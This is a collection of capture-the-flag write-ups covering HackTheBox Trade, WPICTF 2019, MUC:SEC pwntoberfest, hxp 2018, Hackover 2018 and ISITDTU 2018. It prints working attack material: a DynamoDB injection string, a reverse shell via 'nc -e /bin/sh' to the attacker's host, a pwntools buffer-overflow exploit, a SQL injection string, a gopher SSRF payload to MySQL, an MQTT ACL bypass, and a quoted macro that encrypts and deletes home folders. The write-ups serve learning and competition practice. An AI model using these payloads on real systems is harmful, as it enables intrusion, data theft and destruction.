HackTheBox Business CTF 2022 – Trade

The HackTheBox Business CTF 2022 challenge “Trade” in the “Cloud” category started with the usual nmap scan which revealed the open ports 22, 80, 3690. On port 80, the web interface only presents a login interface.

3690 is the port used by SVN, we can use this to check out the repository by running svn ls svn://10.129.209.231/ ; svn co svn://10.129.209.231/store.

The file dynamo.py from the repository contains the following credentials:

client.put_item(TableName='users',
        Item={
                'username': {
                        'S': 'marcus'
                },
                'password': {
                        'S': 'dFc42BvUs02'
                },
        }
        )

When trying to use these credentials on the web interface, an OTP token is requested next in the login flow.

The checked out repository also contain the history of the repository. There were 5 commits being made. In the 2nd commit, the file sns.py was committed including AWS keys. This version can for example be extracted by running svn cat 'svn://cloud.htb/store/sns.py@2'. The keys were configured at the top of the file:

#!/usr/bin/env python

from __future__ import print_function

import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

region = 'us-east-2'
max_threads = os.environ['THREADS']
log_time = os.environ['LOG_TIME']
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

The remainder of the file also shows that S3 and SNS is being used by the application. The key did not work to access S3, but SNS worked. This script was used to list the existing topics:

#!/usr/bin/env python

from __future__ import print_function

import logging
import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

# logger config
logger = logging.getLogger()
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s: %(levelname)s: %(message)s')

region = 'us-east-2'
max_threads = 2
log_time = '12345'
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)

def list_topics():
    """
    Lists all SNS notification topics using paginator.
    """
    try:

        paginator = sns_client.get_paginator('list_topics')

        # creating a PageIterator from the paginator
        page_iterator = paginator.paginate().build_full_result()

        topics_list = []

        # loop through each page from page_iterator
        for page in page_iterator['Topics']:
            topics_list.append(page['TopicArn'])
    except ClientError:
        logger.exception(f'Could not list SNS topics.')
        raise
    else:
        return topics_list

if __name__ == '__main__':

    logger.info(f'Listing all SNS topics...')
    topics = list_topics()

    for topic in topics:
        logger.info(topic)

Which when ran returned the following:

./list_sns_topics.py                                                                                                                                                                                                      
2022-07-15 20:24:58,956: INFO: Listing all SNS topics...
2022-07-15 20:24:59,383: INFO: arn:aws:sns:us-east-2:000000000000:otp

Using that information, another script was used to subscribe to this topic:

#!/usr/bin/env python

from __future__ import print_function

import logging
import json
import os
import urllib
import zlib

from time import strftime, gmtime
import time

import boto3
import botocore
import concurrent.futures

# logger config
logger = logging.getLogger()
logging.basicConfig(level=logging.INFO,
                    format='%(asctime)s: %(levelname)s: %(message)s')

region = 'us-east-2'
max_threads = 2
log_time = '12345'
access_key = 'AKIA5M34BDN8GCJGRFFB'
secret_access_key_id = 'cnVpO1/EjpR7pger+ELweFdbzKcyDe+5F3tbGOdn'

sns_client = boto3.client('sns', region_name=region, endpoint_url='http://cloud.htb',aws_access_key_id=access_key,aws_secret_access_key=secret_access_key_id)

def subscribe(topic, protocol, endpoint):
    try:
        subscription = sns_client.subscribe(
            TopicArn=topic,
            Protocol=protocol,
            Endpoint=endpoint,
            ReturnSubscriptionArn=True)['SubscriptionArn']
    except ClientError:
        logger.exception(
            "Couldn't subscribe {protocol} {endpoint} to topic {topic}.")
        raise
    else:
        return subscription


if __name__ == '__main__':

    topic_arn = 'arn:aws:sns:us-east-2:000000000000:otp'
    protocol = 'http'
    endpoint = 'http://10.10.14.112/'
    logger.info('Subscribing to a SNS topic...')
    response = subscribe(topic_arn, protocol, endpoint)
    logger.info(
        f'Subscribed to a topic successfully.\nSubscription Arn - {response}')

With this a HTTP subscription was setup. A locally started netcat on port 80 was then started, and the login on the webinterface with the credentials from the dynamo.py file was tried again. The netcat received the following request containing the OTP token:

$ sudo nc -vnlp 80                                                                                                                                                                                                          
listening on [any] 80 ...
connect to [10.10.14.112] from (UNKNOWN) [10.129.209.231] 33240
POST / HTTP/1.1
Host: 10.10.14.112
User-Agent: Amazon Simple Notification Service Agent
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/plain
x-amz-sns-message-type: Notification
x-amz-sns-topic-arn: arn:aws:sns:us-east-2:000000000000:otp
x-amz-sns-subscription-arn: arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611
Content-Length: 529

{"Type": "Notification", "MessageId": "6d600b5d-1136-44be-8d8a-4d720c649e08", "TopicArn": "arn:aws:sns:us-east-2:000000000000:otp", "Message": "{\"otp\": \"18012377\"}", "Timestamp": "2022-07-15T18:46:14.618Z", "SignatureVersion": "1", "Signature": "EXAMPLEpH+..", "SigningCertURL": "https://sns.us-east-1.amazonaws.com/SimpleNotificationService-0000000000000000000000.pem", "UnsubscribeURL": "http://localhost:4566/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:000000000000:otp:08232414-0f9d-4f8b-b944-e009e5883611"}

With that token the login was now finally possible.

None of the shop functionality appeared to function. Adding products to the cart was performed locally in the browser, no request was sent to the web server. Only the search functionality worked.

Sending the payload *" produced the following error message on the search interface:

JSONDecodeError: {"servername": {"ComparisonOperator": "EQ","AttributeValueList": [{"S": "*""}]}}

This points again to DynamoDB. Since the input is not being sanitized, another search clause can be injected into the query. Since the error also includes the full search query, this can be done rather easy. The following payload was used:

*"}]},"servername": {"ComparisonOperator": "GT","AttributeValueList": [{"S": "*

The query processed by the server should now be this:

{
  "servername": {
    "ComparisonOperator": "EQ",
    "AttributeValueList": [{"S": "*"}]
},
  "servername": {
    "ComparisonOperator": "GT",
    "AttributeValueList": [{"S": "*"}]}
}

Which essentially returns all data stored in it, as can be seen here:

With one of the now returned credentials (mario/cD034%hJqW10) it was possible to login on the SSH port of the system and get the flag:

$ ssh mario@cloud.htb                                                                                                                                                                      
mario@cloud.htb's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 15 Jul 2022 07:41:43 PM UTC

  System load:                      0.0
  Usage of /:                       71.8% of 6.53GB
  Memory usage:                     20%
  Swap usage:                       0%
  Processes:                        172
  Users logged in:                  0
  IPv4 address for br-cb9e7140726f: 172.18.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.129.209.231
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:aac4


195 updates can be applied immediately.
111 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

mario@trade:~$ ls
flag.txt
mario@trade:~$ cat flag.txt 
HTB{dyn4m0_1nj3ct10ns_4r3_w31rd_4bFgc1!}
mario@trade:~$

 

WPICTF 2019 – Linux category

We took part in the WPICTF 2019 and made place 28 in the end.
We’ve also solved all 4 Linux challenges, here is a write up for them.

suckmore-shell

In this challenge we can login via SSH to the provided server and are presented with a non standard shell in which some commands are swapped (ls behaves like sleep, pwd like uname, etc.).
After a bit of trying around we figured out that exec still worked and we can break out of it by running exec /bin/sh.

After that we only had to output the flag without using cat, we’ve used grep for this:

Flag was: WPI{bash_sucks0194342}

pseudo-random

Again we get a shell on the target, this time a normal /bin/sh.
After poking around a bit we’ve noticed that /dev/random and /dev/urandom have been replaced on the system.

We decrypt random with urandom as the key and get the flag:

Flag was: WPI{@11_Ur_d3v1c3s_r_b3l0ng_2_us}

wannasigh

This was an interesting challenge, downloading the linked file we got a 3GB virtual machine.
Running it we are presented with an Ubuntu system which only contains an encrypted zip file in our home directory, all other files are gone.

However hidden files are still in the home directory including a .mozilla folder. Opening Firefox and checking the history we see that a coffee-stats-calculator.ods file was recently downloaded.

We download that file again (from: https://gitlab.com/def-not-hack4h/coffee-help/blob/master/coffee-stats-calculator.ods) and check the embedded macros:

Without the line break the full last line is:


'Shell("pwd=$((($(date +%s%N)/1000000)); zip -r --password $pwd your-stuff.zip ~/*; rm Desktop; rm Documents; rm Downloads; rm Music; rm Pictures; rm Public; rm Templates; rm Videos")

The password is based on the time of when that command ran. %s is the normal unix timestamp, %N are nanoseconds (but only 3 digits of those are used).

We can get the time when the file was modified by running stat on it and then we just brute forced the last 5 digits:

With this password we unziped the file, in there was a Flag.xcf file, which contained the flag:

Flag was: WPI{Macros_can_kill}

crond

We again get a shell on a system. The description hints that someone replaced cron.
The biggest problem here was to find the new cron, since there was no find or ps on that system.
But with a bit of /proc parsing we can find it:

The new cron is at /usr/bin/fakecron, it is also just a simple shellscript:

#!/bin/bash
# Cron. But worse.
#
# Copyright (c) 2019, SuckMore Software, a division of WPI Digital Holdings Ltd.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyrig
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the distribution.
# 3. All advertising materials mentioning features or use of this software
#    must display the following acknowledgement:
#    This product includes software developed by SuckMore Software, a division
#    of WPI Digital Holdings Ltd.
# 4. Neither the name of the SuckMore Software, a division of WPI Digital Holdings
#    Ltd, nor the names of its contributors may be used to endorse or promote
#    products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY SuckMore Software, a division of
# WPI Digital Holdings Ltd., ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
# SuckMore Software, a division of WPI Digital Holdings Ltd.
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

file="/etc/deadline"

cron() {
    second=0
    minute=0
    hour=0
    day=1;
    month=1;
    year=2019;

    while true; do
        sleep 1;
        target_second=`cut -d " " -f 6 $file`
        target_minute=`cut -d " " -f 5 $file`
        target_hour=`cut -d " " -f 4 $file`
        target_day=`cut -d " " -f 3 $file`
        target_month=`cut -d " " -f 2 $file`
        target_year=`cut -d " " -f 1 $file`

        if [[ "$second" -eq 59 ]]; then
            minute=$((minute+1));
            second=0;
        elif [[ "$minute" -eq 59 ]]; then
            hour=$((hour+1));
            second=0;
            minute=0;
        else
            second=$((second+1));
        fi

        if [[ "$year" -eq "$target_year" ]] \
            && [[ "$month" -eq "$target_month" ]] \
            && [[ "$day" -eq "$target_day" ]] \
            && [[ "$hour" -eq "$target_second" ]] \
            && [[ "$minute" -eq "$target_minute" ]] \
            && [[ "$second" -eq "$target_hour" ]]; then
            # echo "WPI{}" > /home/ctf/flag.txt
            exec_flag
        fi

        rm /etc/faketimerc
        echo "$year-$month-$day $hour:$minute:$second" > /etc/faketimerc
    done
}

cron &

The code is pretty simple, it runs an endless loop with a sleep 1 in it.
It always stores its current time in /etc/faketimerc.
It also always reads from /etc/deadline, and if the current time and the time provided in there are equal, then exec_flag is ran which writes the flag into our home.

Update: There is a bug in the fakecron implementation. Seconds maps to hours and hours to seconds. We got lucky with our values and didn’t run into that problem though.

/etc/deadline is world writeable so we simply overwrite it with an upcoming time and wait a bit, then the flag appears in our home:

Flag was: WPI{L1nUxH@ck3r01a4}

 

MUC:SEC #pwntoberfest 2018

This is a write-up of all challenges of the MUC:SEC #pwntoberfest.
It was a rather small and very beginner friendly CTF that was initially held locally in Munich.
We participated, couldn’t get all flags on the evening but later managed to get all flags.

The CTF was divided into 2 phases, each phase had 3 flags.
Every flag was a number for a physical combination lock.

The challenges were running in a VM on our own laptops, which was great since with that we were able to continue them after the on-site CTF.

Phase 1 – flag 1

Scanning all TCP ports of the machine we find an usual open port: “53815”
Connecting to it and providing any input revealed the first flag:

$ nc 10.6.6.66 53815

***Welcome to the friendly flag service***
***For authorized users only!***

Phase 1 flag. The first number in the combination is 7.

Phase 1 – flag 2

This one took us a while to figure out.
Running “dirb” against “http://10.6.6.66:3000/api” (not the added “/api”!) we got a so far unknown endpoint: /api/secret

Simply accessing it revealed this flag:

$ curl http://10.6.6.66:3000/api/secret
{"user-flag":"Phase 1. Second number in the lock combination is: 6."}

Phase 1 – flag 3

On port 4200 we discovered a web application:

After some trial and error we notice that there is an API that can be used.
And the API has a test interface:

This API Tester form is vulnerable to command injection.
By passing a valid API URL and afterwards a “;” we can inject any command.
We first got all the files in the folder by injecting “;ls” and then got the content of the flag via “;cat flag.txt”:

Phase 2 – flag 1

With the previous vulnerability we created a simply reverse shell by injecting “;nc -e /bin/sh 10.6.6.1 4444” into the form and starting a local listener via “nc -v -l 4444”.
While exploring the machine we found a running MySQL server.
Trying to connect to it only gave us this output:


yolo@pwntoberfest2018:/opt/pwnterest$ mysql
mysql
TERM environment variable not set.
##################################################################################
##############                                               #####################
##############                                               #####################
##############                                               #####################
##############            It's a Pwntoberfest curse!         #####################
##############                                               #####################
##############                   Silly, yolo.               #####################
##############                                               #####################
##############         This client has been deativated       #####################
##############              for security purposes!           #####################
##############                                               #####################
##############                No flag for you!               #####################
##############                                               #####################
##############                                               #####################

After a while we figured out that the “/usr/bin/mysql” binary has been replaced with a shell script which displays this warning.
We’ve then uploaded our own mysql client binary and got the flag from the table:

yolo@pwntoberfest2018:/opt/pwnterest$ ./mysql -u root
./mysql -u root
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.23-0ubuntu0.16.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use tooManySecrets;
use tooManySecrets;

Database changed
mysql> show tables ;
show tables ;
+--------------------------+
| Tables_in_tooManySecrets |
+--------------------------+
| shhhh |
+--------------------------+
1 row in set (0.01 sec)

mysql> select * from shhhh;
select * from shhhh;
+----------------------------------------------------------+
| flag |
+----------------------------------------------------------+
| Phase 2 flag. The first number in the combination is: 9. |
+----------------------------------------------------------+
1 row in set (0.00 sec)

Phase 2 – flag 2

When logging in to the web interface from Phase 1 – flag 3, a new menu entry appears: “AdminFlag”
Navigating to it shows only that we are not authorized:

But it also contains to important hints.
First: The admin user has the email address “admin@pwnterest.yolo”.
And second: It shows contents extracted from the JWT used for authentication.

We aren’t sure if we’ve done this challenge correctly, our goal was to forge a token for the admin user. Probably brute forcing the secret would have worked as well.
We’ve used the previous command injection vulnerability again to get a reverse shell to the system by injecting “;nc -e /bin/sh 10.6.6.1 4444” into the form.

In the file “backend/routes/user.js” we found the function which is used to sign the JWT including the secret:


     const token = jwt.sign(
       { email: req.body.email, iat: 2147483647 },
       'flag'
      );

With this we can now simply forge our own JWT including the admin email address:

Now using this token to resend the request to “/adminflag” we now get this response:

Note that the flag says it’s the 3rd number of the combination. The next flag also says this, there was a typo in one of them. Ranked on difficulty we guess that this is the 2nd number.

Phase 2 – flag 3

The last flag was a binary challenge on which we spent most time.
During the initial recon we found a TODO list at “http://10.6.6.66/todo/”, this included an entry about “Develop beeroverflow”.
It also included a link to the binary. We found that the binary is running on port 1337 on the VM:

Loading the binary in Hopper we find that the interesting function is takeOrder():

int takeOrder() {
    var_C = 0x1337;
    gets(&var_4C);
    eax = strstr(&var_4C, 0x804a008);
    esp = ((esp - 0x10) + 0x10 - 0x10) + 0x10;
    if (eax == 0x0) {
            puts("\nNo beer, no hack!");
            eax = exit(0x0);
    }
    else {
            if (var_C != 0x1337) {
                    puts("\nAttack detected, no beer for you!");
                    eax = exit(0x0);
            }
    }
    return eax;
}

In the binary there is also the function debugShell() which is not called:

int debugShell() {
    puts("\nYou found the secret beer tap. Take as you wish!");
    fflush(*__TMC_END__);
    eax = system("/bin/sh");
    return eax;
}

In takeOrder() there is a simple buffer overflow, the input we provide is not size restricted.

Our input is first compared if it contains the string “beer”.
If yes, then it will be checked if var_C != 0x1337, this is obviously always false, since var_C gets set to 0x1337 at the beginning.
However when we overwrite data in memory we need to ensure to not break this if statement.

We want to redirect the program flow so that the debugShell() function is executed.
We try to do this by overwriting EBP with the address of debugShell() so when takeOrder() finishes, the program does not return to main() but rather runs debugShell().

The hardest part here is to figure out the offsets and padding since we were very inexperienced in that.

But after a while with msf-pattern_create as well as trail and error while being attached with gdb we got it. This led to this exploit:

from pwn import *

context.log_level = 'DEBUG'

# start with "beer" to pass first check, add padding
payload = 'beerAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5AAAAAAAAAAAA'
# write value 0x1337 to correct position to pass second check
payload += "\x37" + "\x13" + "\x00" + "\x00"
# add more padding
payload += 'AAAAAAAAAAAA'
# add 0x0804933a (address of debugShell())
payload += "\x3a" + "\x93" + "\x04" + "\x08"

r = remote("10.6.6.66", 1337)
r.recvuntil('Please place your order:')
r.sendline(payload)
r.interactive()

And finally running the exploit we can get the flag from “/opt/beeroverflow/flag.txt”:

Conclusion

This was a great CTF for us, in the past we mostly focused on web challenges since binary challenges at CTFs were not exactly beginner friendly.
This helped us tremendously to start our journey to more advanced binary or pwn challenges.

We actually managed to be the first ones to solve all challenges and got some goodies from the MUC:SEC organizers:

A big thanks to the organizers! It really was a great CTF!

hxp CTF 2018 – time for h4x0rpsch0rr?

Under the provided URL a website was only displaying this:

There was also a link to an admin panel which required username, password and a one-time password:

The main page contains one interesting bit in the page source:

There is a MQTT service running on port 60805 via web socket which provides data to the website.
You can connect to this service with you own client and subscribe to topics.
We start by subscribing to the topic “#” which is a wildcard for any topic.
Our client:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    print(msg.topic+" "+str(msg.qos))
    print(msg.payload)

mqttc = mqtt.Client(transport='websockets')
mqttc.on_message = on_message

mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("#", 0)
mqttc.loop_forever()

However we only get the following back:

# python client.py 
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37
hxp.io/temperature/Munich 0 
13.37

Next we subscribe to “$SYS/#”. Topics beginning with “$” are hidden so our wildcard before didn’t catch that. “$SYS” is a default topic which should give us some internal information of the service.

# python client.py 
$SYS/broker/version 0
mosquitto version 1.4.10
$SYS/broker/timestamp 0
Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 0
167167 seconds
$SYS/broker/clients/total 0
60
$SYS/broker/clients/inactive 0
60
$SYS/broker/clients/disconnected 0
60
$SYS/broker/clients/active 0
0
$SYS/broker/clients/connected 0
0
$SYS/broker/clients/expired 0
0
$SYS/broker/clients/maximum 0
277
$SYS/broker/messages/stored 0
39
$SYS/broker/messages/received 0
648798
$SYS/broker/messages/sent 0
0
$SYS/broker/subscriptions/count 0
63
$SYS/broker/retained messages/count 0
39
$SYS/broker/heap/current 0
60480
$SYS/broker/heap/maximum 0
12085456
$SYS/broker/publish/messages/dropped 0
20906
$SYS/broker/publish/messages/received 0
69051
$SYS/broker/publish/messages/sent 0
0
$SYS/broker/publish/bytes/received 0
1355228629
$SYS/broker/publish/bytes/sent 0
7849976164
$SYS/broker/bytes/received 0
1363310799
$SYS/broker/bytes/sent 0
0
$SYS/broker/load/messages/received/1min 0
115.56
$SYS/broker/load/messages/received/5min 0
112.86
$SYS/broker/load/messages/received/15min 0
109.79
$SYS/broker/load/publish/received/1min 0
23.14
$SYS/broker/load/publish/received/5min 0
23.05
$SYS/broker/load/publish/received/15min 0
23.18
$SYS/broker/load/publish/dropped/1min 0
0.06
$SYS/broker/load/publish/dropped/5min 0
0.27
$SYS/broker/load/publish/dropped/15min 0
0.82
$SYS/broker/load/bytes/received/1min 0
496378.17
$SYS/broker/load/bytes/received/5min 0
491982.54
$SYS/broker/load/bytes/received/15min 0
491084.12
$SYS/broker/load/connections/1min 0
14.80
$SYS/broker/load/connections/5min 0
15.51
$SYS/broker/load/connections/15min 0
14.63
$SYS/broker/log/M/subscribe 0
1544348008: # 0 $SYS/#
$SYS/broker/log/M/subscribe 0
1544348009: 4bc81116-f66b-42ad-806c-5133218a95db 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 0
1544348014: c6883aff-c792-4924-92e8-139563685b11 0 $internal/admin/webcam

Watching the output of this, we see that a lot of clients are subscribing to the topic “$internal/admin/webcam” which sounds very interesting.

However subscribing to that topic does not give us any message, something is missing (Update: Apparently this should have worked, we probably screwed this up by not properly handling binary data in our client at that time).
After a while we notice the first line of output of the “$SYS/#” topic: mosquitto version 1.4.10

That is a rather old version and indeed there is a vulnerability up until version 1.4.12 which allows circumvention of set ACLs (CVE-2017-7650). Basically we only need to set our client_id or username to a wildcard – like “#” – and we can read any restricted topic.

We do this and get back binary data, so we write a modified client that stores this in a file:

#!/usr/bin/python

import sys
import paho.mqtt.client as mqtt

def on_message(mqttc, obj, msg):
    f = open("output.jpg","w+")
    f.write(msg.payload)
    sys.exit()

mqttc = mqtt.Client(client_id='#', transport='websockets', clean_session=True)
mqttc.on_message = on_message
mqttc.connect("159.69.212.240", 60805, 60)
mqttc.subscribe("$internal/#", 0)
mqttc.loop_forever()

Running this produces no output but the image will be written to output.jpg:

And with that we could login to the admin panel:

Flag was: hxp{Air gap your beers :| - Prost!}

Hackover CTF 2018 – cyberware

The hackeover18 CTF challenge “cyberware”:

The URL http://cyberware.ctf.hackover.de:1337/ leads to what looks like a directory listing of a few files:

None of these files are accessible via a normal browser, they will only display “Protected by Cyberware 10.1” instead.
However with curl the files are displayed:

We figured out that requesting local system files is possible by prefixing // for example requesting //etc/passwd:

We then requested //proc/self/cmdline to find out which program is running, this returned cyberserver.py.
Since there is a ctf user in /etc/passwd we tried to get the file //home/ctf/cyberserver.py which dumped the whole source code. Mirror here.

From that source code we learned that there is no way to list files in a folder. The content of files which exist will be written to the response. There is also this interesting check:


        if path.startswith('flag.git') or search('\\w+/flag.git', path):
            self.send_response(403, 'U NO POWER')
            self.send_header('Content-type', 'text/cyber')
            self.end_headers()
            self.wfile.write(b"Protected by Cyberware 10.1")
            return

Apparently there is a flag.git folder. We can circumvent the search regex by simply requesting //home/ctf//flag.git. With the second / the error message is “406 Cyberdir not accaptable” which shows us that we have circumvented this check.

The flag.git folder is a normal .git directory. We can fetch the HEAD file to verify this:

There is already a wonderful tool to automatically download and extract files from open .git folders: internetwache/GitTools
However I couldn’t figure out how to make it download the files, I think it detects the downloads as failures since the content-length header might contain a wrong size (hence the curl errors as well).

We simply manually built the structure and downloaded all the standard files:

$ mkdir -p ctf/.git
$ cd ctf/.git/
$ mkdir -p refs/remotes/origin objects/info logs/refs/remotes/origin logs/refs/heads objects/pack/ info refs/heads refs/master
$ for x in HEAD objects/info/packs description config COMMIT_EDITMSG index packed-refs refs/heads/master refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD refs/stash logs/HEAD logs/refs/heads/master logs/refs/remotes/origin/HEAD info/refs info/exclude; do curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/$x -o $x ; done

We then find the location of a packed file, download it as well and unpack it:

$ cat objects/info/packs
P pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack

$ curl http://cyberware.ctf.hackover.de:1337//home/ctf//flag.git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack -o objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
(...)
$ cd ..
$ git unpack-objects -r < .git/objects/pack/pack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
Unpacking objects: 100% (15/15), done.

Now we can use the extractor.sh tool from the above linked GitHub repository:


$ cd ~/GitTools/Extractor/
$ ./extractor.sh ~/ctf extract
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
fatal: Not a valid object name infopacks
fatal: Not a valid object name packpack-1be7d7690af62baab265b9441c4c40c8a26a8ba5.pack
[+] Found commit: 38db5649511b84ec8f9eb6492dbe43eabe1e6a4a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/0-38db5649511b84ec8f9eb6492dbe43eabe1e6a4a/hackover18{Cyb3rw4r3_f0r_Th3_w1N}
[+] Found commit: c0e01b58327e785a581c32b97e639014aef0f31e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/1-c0e01b58327e785a581c32b97e639014aef0f31e/ups
[+] Found commit: 7ddcca9c9752a2f616f9754dc100fc5e52f8f6df
[+] Found file: /home/vagrant/GitTools/Extractor/extract/2-7ddcca9c9752a2f616f9754dc100fc5e52f8f6df/qpoeqewrpokqwer
[+] Found commit: 5e9613e8069eb7a83c1b4554954fb7329490333a
[+] Found file: /home/vagrant/GitTools/Extractor/extract/3-5e9613e8069eb7a83c1b4554954fb7329490333a/asdasdasdqweq42134e2
[+] Found commit: 1301f01e7dbd26acd8ca5b09fab05b957e702365
[+] Found file: /home/vagrant/GitTools/Extractor/extract/4-1301f01e7dbd26acd8ca5b09fab05b957e702365/hackover16{Cyb3rw4hr_pl5_n0_taR}
[+] Found commit: b69c0fc2567dc2d0e59c6e6a10c7e5afd3013b6a
[+] Found commit: dd9ebcb882411a06c33ea9d8e4246acf70e7372e
[+] Found commit: 19f882c9ad7aec1e682511525cc43e271896ae9e
[+] Found file: /home/vagrant/GitTools/Extractor/extract/7-19f882c9ad7aec1e682511525cc43e271896ae9e/ups

And you can see the first file it found was the flag, the flag was the filename, it was: hackover18{Cyb3rw4r3_f0r_Th3_w1N}

Hackover CTF 2018 – who knows john dows?

The hackover18 CTF challenge “who knows john dows?” gave us only a login page:

And also a ruby class in a  GitHub repo at https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb.

First we needed to find the username. You simply clone the above repository and with git log you can see the email addresses which were used to commit, one of them (“john_doe@notes.h18”) worked.

Next we need to bypass the password check. Looking at the class in the GitHub repository we see that the SQL query to check the password is vulnerable to SQL injection however only via the hashed_input_password variable:

  def login(identification, password)
    hashed_input_password = hash(password)
    query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1"
    puts "SQL executing: '#{query}'"
    @database[query].first if user_exists?(identification)
  end

There is also a SQL injection in the identification variable, however this is first validated in another part of the code, thus this cannot be exploited.

The “hash” function used is as follows:

  def hash(password)
    password.reverse
  end

This basically only reverses the string. We want use this string to bypass the check:

x' or 1 = 1; -- 

So we simply reverse it to:

 -- ;1 = 1 ro 'x

And using that as the password, we get the flag:

The flag was: hackover18{I_KN0W_H4W_70_STALK_2018}

ISITDTU CTF 2018 Friss

The ISITDTU CTF 2018 – Friss challenge presented us only with a URL without any explanation, on that URL a single form field was displayed:

That form only accepted URLs which point to localhost.
On the page is also a comment in the HTML source code which gives us access to the debug version by appending ?debug=1 to the URL:

Here we find that a config.php is included. Since only the host part is checked against containing localhost we can request local files like this: file://localhost/etc/hosts

And we can also get the config.php file by requesting file://localhost/var/www/html/config.php:

In the config.php file we find MySQL connection details and information that the flag is probably stored in the table ssrf.flag.

We can send requests to MySQL by requesting http://127.0.0.1:3306/ but that is not very useful since we need to login and send a query over the MySQL binary protocol.
Fortunately curl still supports the gopher protocol with which we can send requests to MySQL without any additional headers.
Crafting the correct binary content is the hard part but that problem is also solved already. We’ve used this python script to create the payload. The author – Tarunkant – explained SSRF via gopher and his script very well here.

But this script still requires the raw authentication packet. We’ve started a MySQL server and then connected to it via mysql -h 127.0.0.1 -u ssrf_user (login does not need to succeed).
Sniffing the traffic with wireshark we get the following authentication packet (follow the TCP stream and filter only for client to server traffic):

Switch to raw representation:

Run the above python script to generate the payload, as query we entered SELECT * FROM ssrf.flag;:

That produces the gopher URL:
gopher://127.0.0.1:3306/_%b3%00%00%01%85%a6%3f%20%00%00%00%01
%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%73%73%72%66%5f%75%73%65%72%00%00%6d%79%73%71%6c
%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%71%03%5f
%6f%73%10%64%65%62%69%61%6e%2d%6c%69%6e%75%78%2d%67%6e%75%0c
%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71
%6c%04%5f%70%69%64%04%31%36%36%33%0f%5f%63%6c%69%65%6e%74%5f
%76%65%72%73%69%6f%6e%07%31%30%2e%31%2e%32%39%09%5f%70%6c%61
%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d
%5f%6e%61%6d%65%05%6d%79%73%71%6c%19%00%00%00%03%53%45%4c%45
%43%54%20%2a%20%46%52%4f%4d%20%73%73%72%66%2e%66%6c%61%67%3b
%01%00%00%00%01

And when we request that, we get the flag:

The flag is: ISITDTU{JUST_4_SSrF_B4B3!!}

 

